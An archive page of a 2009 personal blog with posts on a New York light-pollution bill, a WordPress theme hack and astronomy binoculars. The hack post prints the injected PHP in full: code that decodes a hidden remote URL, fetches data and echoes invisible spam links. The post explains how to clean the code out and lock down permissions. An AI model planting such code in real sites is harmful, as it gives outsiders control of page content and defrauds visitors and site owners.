home

Archive for May, 2009

A7281/S2714: Healthy, Safe And Energy Efficient Outdoor Lighting Act

Wednesday, May 27th, 2009

The Earth at night. From nasa.gov.

Friend, fellow Syracuse Astronomical Society (SAS) member, vocal proponent of light pollution control and diminution, and favorite astronomy lecturer Prof. John McMahon forwarded the following email (from a post on the selene-ny.org website) on 24 June 2007:

Astrophiles,

Unfortunately for the citizens of the State of New York, the “Healthy, Safe and Energy Efficient Lighting Act,” designed to curb the excessive and misdirected outdoor lighting in public applications (street lights, especially) that has increasingly degraded our night skies, has failed for this legislative session.

The session ended on Thursday, 6/21/07.

Although the NY State Assembly passed the measure (A7438) by a wide margin, the leadership of the New York State Senate again did not allow the bill (S4364) to reach the Senate floor for a vote, effectively killing the bill until next year

Opposition from a variety of groups, including the NY Farm Bureau (which also successfully opposed legislation to limit open burning and burn barrels in the State) and the NY Council of Mayors (NYCOM), seemed to have played a major role.

Thanks to those who wrote in support of outdoor lighting regulation.

Be aware, however, that until we can gain a critical mass of consistent and vocal support for such bills in order to overcome the organized and well-funded opposition to a statewide initiative to reduce light pollution, we will see the continued degradation of the night skies all around us.

For updated information on the legislative efforts to reduce light pollution and to educate the citizenry about the problem, see the SELENE-NY website:

http://selene-ny.org

The New York State Assembly has already passed (by wide margin) the “Healthy, Safe and Energy Efficient Lighting Act” as A7438/S4364 (which I posted about previously with a bit more background).  That bill did not make it to the Senate floor for a vote before the end of the 2007 legislative session, meaning no action on it could be taken until the bill was reintroduced in (at the earliest) the next legislative session.  For 2009, we have “A7281/S2714: Healthy, Safe And Energy Efficient Outdoor Lighting Act,” the content of which is reproduced from the assembly.state.ny.us website below:

BILL NUMBER:A7281

TITLE  OF BILL:   An act to amend the environmental conservation law and the public service law, in relation to enacting the  healthy,  safe  and energy efficient outdoor lighting act

PURPOSE  OR  GENERAL IDEA OF BILL: This bill provides for the management of outdoor night lighting to protect the nighttime environment,  enhance safety and security, and conserve energy.

SUMMARY  OF SPECIFIC PROVISIONS:  Section 1 adds a new Article 20 to the environmental conservation law, the Healthy, Safe and  Energy  Efficient Outdoor  Lighting  Act. Article 20 includes sections 20-0101 setting out legislative findings, section 20-0103 stating  a  short  title,  section 20-0105  defining  terms, section 20-0107 on permanent outdoor lighting, section 20-0109 on dark-sky  preserves,  section  20-111  requiring  the Department of Environmental Conservation (DEC), in consultation with the New  York Energy Research and Development Authority (NYSERDA) to develop and distribute a model comprehensive outdoor lighting ordinance, section 20-0113 requiring DEC, in  consultation  with  NYSERDA  to  develop  and distribute  a pamphlet promoting the bill’s goals of energy conservation and more effective night lighting and describing how the  provisions  of this bill will achieve them and section 20-0115 on applicability.

Section  2  directs  the Public Service Commission to require that every electric corporation or municipality providing electric service  include the educational pamphlets in its bills to customers.

Section 3 sets out the effective date.

JUSTIFICATION:  This bill is intended to limit excessive outdoor illumination. Excessive illumination wastes energy, intrudes on the privacy of others, creates glare which reduces the effect of lighting, deteriorates the natural nighttime environment, and reduces the ability for astronomical observation.

Outdoor lighting is used to illuminate roadways,  parking  lots,  yards, sidewalks,  public meeting areas, signs, work sites and buildings.  When well designed, it improves visibility, adds an  element  of  safety  and creates  a  sense  of security, while at the same time minimizing energy use and operating costs. If, however, it is not well designed it can  be costly,  inefficient,  counterproductive,  and  harmful to the nighttime environment.

Much of the outdoor lighting in use today wastes energy  because  it  is poorly  designed.  This waste results in both higher costs for providing such lighting and increased pollution from the power plants that produce the wasted electricity. It is conservatively estimated that $3  to  $4.5 billion a year is wasted in the United States in the unintended lighting of  the sky rather than the streets, walkways, and outdoor public spaces which the light was intended to illuminate.

In addition to wasting energy, poorly  designed  lighting  often  causes blinding  glare. Glare occurs when you see light directly from a fixture or bulb. The glare from poorly designed or positioned  lighting  hampers the  vision  of  drivers and pedestrians, reducing its effectiveness and creating  a  hazard rather than increasing safety. It shines onto neighboring properties and into nearby residences, reducing privacy,  hindering  sleep,  and  diminishing  the beauty of the natural surroundings in areas far removed from the source of such lighting. A large  portion  of such  lighting shines directly upward, creating the sky glow above population centers, adversely affecting the view of the night sky. In  addition  to  lowering  the cost of outdoor lighting, limiting sky glow will allow future generations to enjoy the beauty of the stars, and to  study and learn from or simply marvel at the wonders of the night sky.

This legislation addresses these problems in the following ways:

*  It  restricts  the  installation of new lighting by state agencies or public corporations operating in the state to fully-shielded luminaries. A fully shielded luminaire is constructed and installed in such a manner that all light emitted by it  is  projected  below  a  horizontal  plane through the lowest light emitting part of a light fixture.

*  It  exempts  replacement  of luminaires that are part of a continuous roadway lighting design from the requirement that  only  fully shielded luminaires be installed by state agencies and public corporations.

*  It  allows  the chief executive officer of any state agency or public corporation to exempt the state agency or public  corporation  from  the requirement that it install only fully shielded luminaires, based upon a written  determination  by the chief executive officer that a compelling safety interest requires that other types of lighting be installed.

* It exempts tunnel, airport, underbridge, traffic control, navigational and natural and cultural  monument  lighting  from  the  requirement to install fully shielded luminaires.

*  It  exempts historic-style decorative lighting if the installation of fully shielded luminaires detracts from the aesthetic character  of  the existing lighting.

* It allows historic-style decorative lighting to emit up to two percent of its lumens above the horizontal plane.

* It requires the commissioner, in consultation with NYSERDA, to develop luminaire  efficiency and lamp luminous efficacy standards by the effective date of the legislation and  requires  that  these  standards  take effect 180 days after the effective date of this legislation.

* It requires that the department in consultation with NYSERDA report to the  legislature on technological advances that affect the provisions of this article and  recommend  amendments  to  this  article  which  would increase its effectiveness in achieving the bill’s stated purposes.

*  It  empowers  the DEC commissioner to identify and nominate areas for “dark sky preserves” of the state.

*  It  exempts  state  agencies, public corporations and electric corporations providing roadway lighting under contract  to  a  public  corporation from light trespass restrictions.

* It exempts lighting done for security purposes pursuant to regulations of  the  Public Service Commission, ATM lighting done to comply with the minimum standards of section 75-c of the banking law and historic  theater lighting.

* It exempts lighting that is furthering an activity found to be a sound agricultural practice under the Right to Farm Law.

*  It requires the commissioner of DEC in consultation with NYSERDA, the Department of Agriculture and Markets and the Public Service Commission, to promulgate rules and regulations on light trespass.

* It requires the commissioner to prepare and distribute a model outdoor lighting ordinance to cities, towns, and villages throughout the state.

* It requires the commissioner, in consultation with NYSERDA, to develop and widely disseminate a pamphlet describing the purposes and provisions of this act.

PRIOR LEGISLATIVE HISTORY: 2008: A.7438A Passed  Assembly  2007:  A.7438 Passed  Assembly  2005-06:  A.7404 Passed Assembly 2004: A.6950-D Passed Assembly 2003:  A.6950C  Passed  Assembly  2002:  A.9757-B  Rules  2001: A.5352-B  Passed  Assembly  and  Senate  Vetoed  by  the  Governor 2000: A.6357-A Passed Assembly 1999:  A.6357-A En Con

FISCAL IMPLICATIONS: None

EFFECTIVE DATE: This act shall take effect on the first of January  next succeeding the date upon which it shall have become law.

The SAS has, through John McMahon’s efforts, again made our stance as crystal clear as a midnight Arizona New Moon Sky.  Our work continues as we try to get A7281/S2714 to the Senate floor for a vote this year.  Showing that it is not just the night owls in favor of this legislation, The Environmental Advocates of New York and The Citizens Campaign for the Environment both have a bit of information about their efforts to support A7281/S2714 online.  The official statement from the SAS is as follows:

Re: A7281/S2714

Dear Assemblywoman Rosenthal and Senator Thompson:

The members of the Syracuse Astronomical Society (SAS) strongly endorse A7281/S2714, the Healthy, Safe and Energy Efficient Outdoor Lighting Act, which would regulate outdoor lighting in the State for the general benefit of its citizens.

Our starry night skies are one of our most precious natural resources, inspiring young and old alike to contemplate the mysteries of the universe.  For over a half a century the SAS has reached out to the public here in Central New York to educate neighbors and visitors alike about the marvels of the heavens.  Unfortunately, in recent years our view of the cosmos has become increasingly degraded by misdirected and excessive outdoor illumination.

For the members of our society who observe from their own backyards this problem has become especially troublesome because of general sky brightness and from excessive light from nearer sources that intrudes onto their private property.  Likewise, for the SAS’s Darling Hill Observatory (located in a semi-rural location on Vesper Hill in the Town of Tully) the sky glow from Syracuse to the north and, increasingly, from the Cortland area to our south has progressively affected our view of larger and larger portions of the sky.

Despite the recent forward-looking actions of the Town of Tully in changing over its roadway lighting to full cutoff optics that reduce offensive and distracting glare, save energy, and reduce lighting costs by over 40%, and despite the enactment in 2007 of a town-wide outdoor lighting ordinance (Local Law #7), without decisive action to stem the process of needlessly and destructively lighting up the night elsewhere, the light pollution problem will only worsen.  It will not only continue to hamper our ability to bring the wonders of astronomy to others, but it will also continue to degrade the nocturnal environment and to waste precious energy and taxpayer dollars.

The Healthy, Safe and Energy Efficient Outdoor Lighting Act would begin the process of restoring the glories of the night sky to everyone and will help us to continue our educational mission.  It will render other benefits to the general population as well.

Therefore, the Syracuse Astronomical Society formally urges all members of the New York State Legislature to act promptly and decisively to pass A7281/S2714, the Healthy, Safe and Energy Efficient Outdoor Lighting Act.  If the SAS and its membership can, in any way, be of service in emphasizing the importance of issues raised by A7281/S2714, please do not hesitate to contact myself at (315) 559-4737 or damian@somewhereville.com.

Thank you.

Sincerely,
Damian G. Allis, Ph.D.
President
Syracuse Astronomical Society

cc:  Senators Smith, Valesky, DeFrancisco; Assemblymen Kolb, Silver; Governor Paterson

For more information on light pollution and legislation, I recommend visiting (and supporting) SELENE-NY and the International Dark Sky Organization. We also have a page (written by Dr. McMahon) at the SAS website.

www.nasa.gov
www.syracuse-astro.org
en.wikipedia.org/wiki/Light_pollution
webserver.lemoyne.edu/~mcmahon/mcmahon.html
selene-ny.org
assembly.state.ny.us
selene-ny.org/2008bill.html
www.somewhereville.com/?p=83
assembly.state.ny.us/leg/?bn=7281
www.eany.org
www.eany.org/capitolwatch/billratings.html
www.citizenscampaign.org
www.citizenscampaign.org/PDFs/Light%20pollution%20memo%202009.pdf
assembly.state.ny.us/mem/?ad=067
www.nysenate.gov/senator/antoine-m-thompson
www.darksky.org

When Hackers And Their Little Scripts Attack WordPress Themes, Or Dr. D-Allis Talking To You About The Hidden Dangers Of Cialis (Links)

Tuesday, May 26th, 2009

In the slightly Web 2.0-modified sentiments of the master, George Carlin,

Our thrust is to prick holes in the stiff front erected by the smut hackers. We must keep mounting an offensive to penetrate any crack in their defenses, so we can lay to rest their dominate position. We want them hung and we want stiff action. Let’s get on them. Let’s ram through a stiff permission change so it’ll be hard for them to get their hacks up. WordPress’ers have got to come together so we can whip this thing into submission. It’ll be hard on us but we can’t lick it by being soft.

There are many, many, many, many, many informative pages on WordPress hacks and their potentially long and involved fixes.  The contents of this post address one specific hack that happened recently to my own site, how to fix the hacked php file, and the steps to take to keep the hack from occurring again.  As usual, I provide as much of the text as I can in this post so that your google search for a particular phrase or snippet of php will land your here, as it well may have.  Speaking of google…

The presence of these hidden links on your website may cause hypertension, eye fatigue, chronic stress (if you don’t know how to remove them), and, when present for long durations, will result in a form email from google telling you that your site has been banned from google listings.  Something like the following (in crimson for emphasis):

Dear site owner or webmaster of somewhereville.com,

While we were indexing your webpages, we detected that some of your pages were using techniques that are outside our quality guidelines, which can be found here: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&hl=en. This appears to be because your site has been modified by a third party. Typically, the offending party gains access to an insecure directory that has open permissions. Many times, they will upload files or modify existing ones, which then show up as spam in our index.

The following is some example hidden text we found at http://somewhereville.com/:

[INSERT QUESTIONABLE HIDDEN TEXT HERE]

In order to preserve the quality of our search engine, pages from somewhereville.com are scheduled to be removed temporarily from our search results for at least 30 days.

We would prefer to keep your pages in Google’s index. If you wish to be reconsidered, please correct or remove all pages (may not be limited to the examples provided) that are outside our quality guidelines. One potential remedy is to contact your web host technical support for assistance. For more information about security for webmasters, see http://googlewebmastercentral.blogspot.com/2008/04/my-sites-been-hacked-now-what.html. When such changes have been made, please visit https://www.google.com/webmasters/tools/reconsideration?hl=en to learn more and submit your site for reconsideration.

Sincerely, Google Search Quality Team

Note: if you have an account in Google’s Webmaster Tools, you can verify the authenticity of this message by logging into https://www.google.com/webmasters/tools/siteoverview?hl=en and going to the Message Center.

With my luck, the contents below will somehow get me banned again, in which case I’ll just make one big screen capture and post the image in a new entry.

I had received the above email some time ago from a previous hack that I had corrected in a previous version of WordPress (somewhere in the 2.3.x range).  Within the last week or so, I received an email from friend and fellow nanotechnologist Tom Moore over at machine-phase.blogspot.com with the following picture:

The one week I lay off the egosurfing…  Needless to say, my suspicions of a hack were aroused and, er, little else.  The same form of hack as my previous 2.3.x adventure, but this is in WordPress 2.7.1 and I had properly set folder and file permissions on the server hosting this blog.  Well, almost properly set permissions…

This most recent attack occurred to a php file in my theme, a modified version of Relaxation 3 Column that is, sadly, no longer in development (hence the modifications).  The problem is theme-non-specific, as much of the core theme file structure is similar across all WordPress themes and a properly written script need only search out contents (or file names) common to all themes.

The specific modification occurred to my header.php file, which contained the following new and highly exciting content (to show the HTML, I’ve inserted a space around each bracket):

< div id=”page” >
< div id=”top” >< a href=”/index.php” >< img title=”home” src=”<?php bloginfo(‘template_directory’); ?>/images/blank.gif” alt=”home” width=”1100″ height=”150″ / >< /a >< /div >

< div id=”wrapper” >< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen=’aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x’; $blarr=get_option(‘cache_vars’); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).’.md5′))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).’.txt’)); update_option(‘cache_vars’,$blarr); } $blarr=unserialize(base64_decode(get_option(‘cache_vars’))); if($blarr['hide_text']!=” && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new=”; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=”; foreach($blarr['links'] as $k= > $v) $txt_out.=’ < a href=”‘.$v.’” > ‘.$k.’< /a >’; echo str_replace(‘[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

Original to the theme:

< div id=”page” >
< div id=”top” >< a href=”/index.php” >< img title=”home” src=”<?php bloginfo(‘template_directory’); ?>/images/blank.gif” alt=”home” width=”1100″ height=”150″ / >< /a >< /div >
<
div id=”wrapper” >

Hacked addition:

< ?php /* wp_remote_fopen procedure */ $wp_remote_fopen=’aHR0cDovL3F3ZXRyby5jb20vc3MvdGVzdF8x’; $blarr=get_option(‘cache_vars’); if(trim(wp_remote_fopen(base64_decode($wp_remote_fopen).’.md5′))!=md5($blarr)){ $blarr=trim(wp_remote_fopen(base64_decode($wp_remote_fopen).’.txt’)); update_option(‘cache_vars’,$blarr); } $blarr=unserialize(base64_decode(get_option(‘cache_vars’))); if($blarr['hide_text']!=” && sizeof($blarr['links']) > 0){ if($blarr['random']){ $new=”; foreach(array_rand($blarr['links'],sizeof($blarr['links'])) as $k) $new[$k]=$blarr['links'][$k]; $blarr['links']=$new; } $txt_out=”; foreach($blarr['links'] as $k= > $v) $txt_out.=’ < a href=”‘.$v.’” > ‘.$k.’< /a >’; echo str_replace(‘[LINKS]‘,$txt_out,$blarr['hide_text']); } /* wp_remote_fopen procedure */ ? >

And, of course, what you see for the link list depends on what the script generates at load time.  The pictures show cialis links (isn’t it nice to see a link on a blog that sends you to the manufacturer instead of some back-of-the-server distributor?), but a Firefox Page Source view loads the following viagra-centric HTML after a page reload:


< body >
< div id=”page” >
< div id=”top” >< a href=”/index.php” >< img src=”http://www.somewhereville.com/wp-content/themes/relaxation_3column/images/blank.gif” alt=”home” title=”home” width=”1100″ height=”150″ / >< /a >< /div >
< div id=”wrapper” >
< div id=’header_code’ >< font style=”position:absolute;overflow:hidden;height:0;width:0″ >< a href=”http://river.mit.edu/index.php?viagra=0″ >Best Viagra Alternative< /a >< a href=”http://river.mit.edu/index.php?viagra=1″ > Best Viagra < /a > …2 to 806 of similar… < a href=”http://river.mit.edu/index.php?viagra=807″ > 50 Mg Viagra < /a >< /font >< /div >

< div id=”content” >

The problem, and this is the important part, is that the permissions on the php files for this theme were set wide open so that anyone could read, write, and execute the theme files.  After making the proper changes to the (in this case) header.php file in my ../wp-content/themes/[your theme name here] directory to remove the h4ck0r content (and, in theory, you will see the same text if you have a similar hack to your theme/header.php file), the next step is to change the permissions on these files via whatever “Attributes” window your FTP client provides (or whatever your FTP/Telnet/SSH program of choice is).  In my case, I’ve been using Robert Vasvari’s phenomenal RBrowser for OSX for quite some time.  For this program, you would click on the theme directory of choice, then right-click and select “Change Attributes.”  You’ll be brought to a screen like the following:

Now, permission setting is a minor trick depending on what you have in the directories that need to be read or executed for a page or plug-in to properly load.  The 755 provides only the User (that should be you) with write access to files (and the “Apply to files inside selection” check will change everything in the folder).  For simple themes, you can very probably get away with 644, which provides all with read access and the user read and write access.  Frankly, I don’t even know if there’s a theme-based reason for execute to be enabled (anyone willing to correct me is more than welcome to).

Make the changes (in a text editor if you didn’t know this already, then FTP the corrected file(s) up and down), change permissions, and with luck and a few days wait, your google search will return something like the following and decidedly not like the image above:

Needless to say, if you’ve never scoured a php file and don’t know what to remove, your safest bet is just to blindly delete the theme, upload a fresh version, then change permissions.  And, if you made modifications to the php files, KEEP TRACK OF THE CHANGES.  And, of course, you should be backing up your database and website anyway in case the big one hits.

georgecarlin.com
ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked
wordpress.org/support/topic/195163
blog.taragana.com/index.php/archive/detailed-post-mortem-of-a-website-hack-through-wordpress-how-to-protect…
www.mydigitallife.info/2008/06/10/wordpress-hack-recover-and-fix-google-and-search-engine-or-no-cookie-traffic…
lorelle.wordpress.com/2009/03/07/firewalling-and-hack-proofing-your-wordpress-blog
wordpress.org
www.php.net
www.google.com
en.wikipedia.org/wiki/Hypertension
machine-phase.blogspot.com
en.wikipedia.org/wiki/Egosurfing
en.wikipedia.org/wiki/Permissions
widgets.wordpress.com/2006/06/18/relaxation-3-column
en.wikipedia.org/wiki/HTML
www.cialis.com/index.jsp
www.mozilla.com/en-US
www.viagra.com
en.wikipedia.org/wiki/File_Transfer_Protocol
www.rbrowser.com
www.apple.com/macosx

The Syracuse Astronomical Society Equipment Survey (Parts 1 and 2)

Tuesday, May 19th, 2009

This is a reprint of two articles I wrote for the Syracuse Astronomical Society newsletter, the Astronomical Chronicle, for April and May of this year.  The series of articles is designed to introduce members and visitors to our equipment (the equipment generally found at Darling Hill) to help them decide what piece of equipment might work best for them.  And so…

“What should I get?”

This is the first article in a series that hopes to provide useful answers to a commonly asked question at Darling Hill Observatory. The plan is to introduce prospective purchasers to the broad range of equipment used by the SAS regulars, including pluses and minuses, benefits and hazards, complaints and complements. For some of us, we’ve had the same core equipment for years and know their subtleties backwards and forwards. For a few others, they always have a new purchase to show and a new tale to tell (I await the show-and-tell from this past weekend’s NEAF purchases). Hopefully, having the first-hand accounts of a variety of equipment will inform you a bit more about future purchases than the flowery descriptions found on manufacturer websites.

I am beginning this series with my astro gear, with a few other members already committed to similar write-ups. We are happy to have submissions from other members! If you have a pair of binoculars or a telescope that you love or hate, consider sending off a review of your own for this series. You might help convince someone to go through with a purchase or spare them the annoyance of having to send something back!

1. Two (Myopia-Corrected) Eyes

Starting with the obvious, but it is worth remembering that, regardless of what anyone recommends, these are the original tools of the trade and the most cost-effective amateur astronomy starter-set you could ask for. You can spend many a night with your other equipment at home and still have an extraordinarily enjoyable and productive viewing session.

From our virtually never-changing vantage point on planet Earth, the Night Sky still appears to be a gigantic place. If your night observing always occurs at the same time every night all year long, you find the visible stars and constellations changing gradually over the course of the year. Such constant observing might provide you an inkling of what the ancient Egyptians (and, later, the Greeks, and, later, and Romans) realized about the cyclic nature of the Night Sky such that you begin to attribute the rise of certain bright stars to changes in the seasons or the appearance of meteor showers. You also become familiar with patterns of bright stars and find ease in remembering the shapes of these star patterns instead of the single pinpoints of light. Whether because of the connections passed on through oral history or to reinforce the mythology, you connect these patterns to religious or mythological characters. The earliest efforts to catalogue the stars into Constellations date back 6000 years in the form of tablets found in the Euphrates River Valley. Roughly 4000 years later, the Almagest by Ptolemy of Alexandria (yes, THAT Ptolemy) set in stone the 48 Constellations of the Northern Hemisphere so deeply rooted in (and passed on from) older civilizations. These constellations served as calendar markers, signs for planting and harvesting crops, navigational aids for aligning oneself (and your ship) in travels throughout the Mediterranean, and signals from the Heavens themselves that a religious observance was near.

You, on the other hand, get two nights a month in central NY when the sky’s clear enough to see anything, so you barely know what should be out on any given night and certainly don’t have the time in your busy schedule to start digging through books or googling for star charts right before a Messier Marathon. At this point in our history, you don’t really need the Constellations for anything significant unless you find yourself in the middle of nowhere without a compass or standing outside after some James Burke-ian doomsday scenario where all of the power (and I do mean ALL of the power) is out, well, like someone hit a switch.

Most amateur astronomers have taken 6000 years of pattern matching to hveart and memorized at least several of the Constellations to serve as the “coarsest” adjustment on their alignment with major astronomical objects. There are approximately 1020 “bright” stars that Ptolemy grouped in his Almagest into the 48 Northern Constellations. Imagine having only stars and Messier objects to search with without designated Constellations. To tell an observer that M42 is just above Nair al Saif only makes sense if that observer has committed several hundred bright stars to memory. Tell that same observer “M42 is just above the tip of Orion’s sword below the belt,” it’s a good guess that practically everyone will know exactly what you mean.

With rare exception, all astronomical gear requires that you have prior knowledge of where the thing you want to see is (and, if you have a GOTO scope, you still need to know how to set it up and align it, so you still have to have the locations of a few stars committed to memory). Regardless of what you use, your viewing life is made much easier by starting with unaided eyes and learning your way around the largest “objects” in the Night Sky. We ALWAYS recommend that people new to astronomy start with binoculars instead of shelling out a large chunk of change on a telescope. To get the most out of your binocular experience (and until they make GOTO binoculars), we can’t recommend strongly enough simply standing outside equipment-free and committing the Constellations to memory.

2. My Starter Scopes: Nikon Action 12×50 Binoculars

With increasing light pollution and the resulting gradual dimming of fainter stars in large Constellations, you almost need a low-power pair of binoculars to make out the fuzzy patches that used to be naked eye objects.

You can (and will) certainly hear lively debates about the merits of various scopes and eyepieces on the Hill, but there is one point all of the regulars agree on, a point we try to stress as much as possible to perspective astronomers. You are far, far better off starting your astronomical pursuits with a good pair of binoculars. Unless you’ve a quality GOTO scope that you know how to use and maintain, you can spend hours trying to aim a telescope on one object and never get that object within your sights if you don’t have a quality understanding of the signposts in the sky that help you go from the “coarsest” adjustment of your eyes to the “finer” adjustment of slight-to-moderate magnification achieved by binoculars. Every step up in equipment and every jump in magnification requires that you have a very good understanding of where things are.

My Nikon 12×50′s are my “old faithful(s)” and I spent three solid years of observing using nothing but (and I STILL haven’t seen everything I know is possible to see at this magnification). I can’t recommend them strongly enough, but there are many similarly-sized binoculars among SAS members that I would be just as happy to own. There are a few general things to look for when purchasing binoculars:

A. Aperture

While any pair of binoculars will allow you to see more than you can with the unaided eye, there is a certain class of binoculars that are much better for nighttime observing than others. This class of binoculars maximizes the ratio of aperture to magnification. The aperture (your primary or objective lens) is the entrance in the “front” of your binoculars through which light passes. All astronomy equipment is about aperture maximization, as larger apertures mean brighter and better resolved images (because you’re allowing more light to go into your eyepiece). At the same magnification, a pair of 12×50′s is going to be better for nighttime observing than a pair of 12×25′s. If you buy binoculars locally (simply due to what most places around here commonly stock), you will find a large selection of Nx50′s (N usually being 7, 10, or 12). You will be hard-pressed to find people complain on astronomy forums about 50 mm objective lenses. Instead, they will complain that “the magnification is too high for the aperture.” For new astronomers and seasoned pros simply wanting to shake the cobwebs off, 7×42 or 7/10/12×50 binoculars are excellent.

B. Magnification

Related to the aperture discussion above. The goal of a pair of binoculars is NOT maximum magnification. The goal is maximum magnification supported by the size of the aperture for what you want to look at. 12x magnification certainly brings out astronomical details that most of humanity has never seen, but 12x magnification with a 25 or 35 mm aperture will serve you far less than 12x on a 50 mm or larger aperture or 7x on that same 35 mm aperture. The range of easily managed binoculars at the Hill falls between 7×50 and 12×50, with 10×50 perhaps being the best compromise of magnification and image clarity (this is, of course, dependent on the quality of the optics).

C. Prisms, Glass, and Coatings

This is the technical part of the program where newcomer eyes glaze over and you consider blindly accepting whatever someone else tells you. Even seasoned amateur astronomers might not know the chemical composition of BaK-4 or the material used to coat lenses, but they know the general trend towards improved image quality with improved components. As you consider purchases, the gross generalizations below serve as useful guides.

Roof (left) and Porro (right) Prism binoculars.

Prisms: Roof and Porro

While I risk starting a war among binocular users, the difference in image quality between similar-quality roof and porro binoculars to my eyes is zero. I find porro prism binoculars to be the better design for astronomy because (1) there’s a bit more material to hold onto (most of them even have grips) and (2) it is easier to put porro prism binoculars onto tripod adapters because you’ve got more room between the primary lenses (this is of more importance when it’s 10 p.m. and pitch black). Note these reasons have nothing to do with the quality of the optics.

Glass

“BaK-4″ glass is better quality than “BK-7.” There’s a lively photophysics discussion in there somewhere. Ignoring the chemistry of the glass and the manufacturing process, BaK-4 glass has better light transmission, which means a better quality image across the entire field of view. I’ve had the rare opportunity to compare both kinds in the same 12×50 binoculars and will admit to having a better experience with the BaK-4. That said, having a higher quality of glass prism in a pair of binoculars often also means having a higher quality of production. A high quality BK-7 pair might look just as good as a good pair of BaK-4 binoculars, but you would need to have them next to one another to test this.

Coatings

The optics in binoculars and telescopes let most of the incoming light through, but some small amount is reflected (most reports say 5%), the result of which is a slightly dimmed view. While a 5% loss at each air-to-glass interface might seem small, a pair of binoculars might have a dozen or more of these interfaces, meaning the actual amount of light hitting your retina might be significantly lower than the amount entering your optics. This reflection loss is greatly diminished by way of coatings, which can drop the amount of reflected light from 5% to as little as 0.25%. The larger the number of coated surfaces, the smaller the percent of reflected light and, of course, the higher the cost of the binoculars. The four categories of coatings are as follows:

C = coated. This typically means “multiple surfaces coated,” but that does NOT mean all surfaces.

FC = fully coated. All air-to-glass surfaces are coated.

MC = multi-coated. These may be layers of the same coating or combinations of different materials that yield higher transparency.

FMC = fully multi-coated. Like FC, but the magical multi-coat combination is applied to all surfaces.

Yeah, but what does it all really mean? It is very difficult to adequately describe how prism, glass, and coating quality alter the quality of a set of binoculars. All things being equal, one might say a BaK-4 FMC set of porro binoculars are the best combination for amateur astronomy. In every ranking I’ve found online, the coating order is C < FC < MC < FMC. As for whether or not FMC 42 mm aperture binoculars are as good as C 50 mm aperture binoculars, I’ve not yet found studies online. These are manufactured products, however, and I’m sure we all know examples of high-quality merchandise that went back because of defects or mid-priced merchandise that somehow magically performs better than anything else you’ve ever used.

D. Price

Just cut right to the chase. Ballpark, I would expect to pay between $80 and $150 for a pair of 12×50 FMC porro binoculars that perform admirably at night. I know you can spend $1500 on a pair of 12×50′s, but I’ve never had the pleasure of using a pair to see just what it is I’m missing (although I would miss the $1500). You certainly don’t want to spend an exorbitant sum of money to buy what the pro’s wouldn’t be caught dead without, but you also want a quality-enough piece of equipment that you ENJOY using them for observing. My Nikons were $130 when I bought them and, six years later (and $30 cheaper online), they are still in great condition and are still the best pair of binoculars I’ve ever used for nighttime observing.

E. Wait. Weight!

There is one issue left to address that improved my binocular experience 10-fold.

If you’re on the Hill, you may find several people with their elbows on the tops of their cars or the sill of the Observatory rolling roof. This is for cutting down the shaking in the arms that makes focusing on a dim object virtually impossible (and certainly never for more than a second). I am both a prolific shaker in the cold and a perfectionist when it comes to perfecting my focus. Because of this, I strongly recommend buying a tripod even for small binoculars to anyone wanting to really study an astronomical object. The tripod diminishes your freedom of movement, but the added stability greatly improves your ability to make out fainter features. I’ve a cheapo $30 camera tripod and binocular adapter that is very lightweight and is remarkably stable (unless the wind really picks up). And, if it’s never come up before, the adapter for mounting most small binoculars to tripods is a separate accessory (I don’t think I’ve ever seen a pair of binoculars that did not include a thread under a plastic cover in front of the focuser).

The author’s first official setup.

3. Zhumell Tachyon 25×100 Astronomical Binoculars

With three years of Nikon Action 12×50 viewing under my belt, I decided that the next logical progression for astronomical viewing was to move to a higher-magnification pair of binoculars. After as much google-searching for reviews and product comments as I could find, I settled on a pair of Zhumell Tachyon 25×100 Astronomical Binoculars and one Zhumell Heavy-Duty Tripod. Now into my third year of using these binoculars, I have a few clear insights to pass along concerning giant binoculars. The discussion I would have here about prisms, coatings, and equipment quality is addressed above, so I will jump right to the case of the equipment itself.

A. “Why buy one when you can buy two at twice the price?”

I ordered the Zhumell 25×100′s and tripod from binoculars.com (a small but stereoscopic subsidiary of telescopes.com). Upon opening the hard case these binos were shipped with, I discovered that the key for the latch lock had slipped loose inside of the case and had settled into a piece of foam just below the right objective lens. The movement of the binos during shipping had, you guessed it, caused all kinds of minor markings from the key scraping against the bottom (not the lens, which had a heavy plastic cover on it). With $500 committed to this company in binoculars and tripod, I called about a replacement. If you pay for a new piece of equipment, make sure you’re happy with it and don’t worry about the company’s cost of making you a satisfied customer. binoculars.com was happy to send me a replacement with free overnight shipping if I agreed to pay for the cost of the second pair (which they would then reimburse me for when the old mangled pair came back). That night, I took the marked-up pair onto my roof for some testing. In short, the view was phenomenal, with all four stars in The Trapezium (no splitting of the doubles!) in M42 (the Orion Nebula, also phenomenal in the binos) clear pinpoints of light. The Moon was almost too bright, which made the view at the terminator even more interesting.

Central command at last year’s Summer Seminar. Zhumell Tachyon 25×100′s and Zhumell Heavy-Duty tripod (acting as a cellphone mount for updating the SAS website).

That next evening, I packed-up the marked-up pair and took the new pair out onto the roof. In short, the view was awful. Something was wrong with the collimation and nothing could be brought into clear focus in the right eyepiece.

The next day, the new pair goes back and a THIRD pair is shipped overnight (and, yes, I am sitting on $1200 in charges to this company at this point). The next-next evening, I’ve the third pair of 25×100 binos on my roof. In short, the view was intermediate between the marked-up pair and the second pair. I then decided to keep the marked-up pair to use as an example that “it’s what’s inside that counts.”

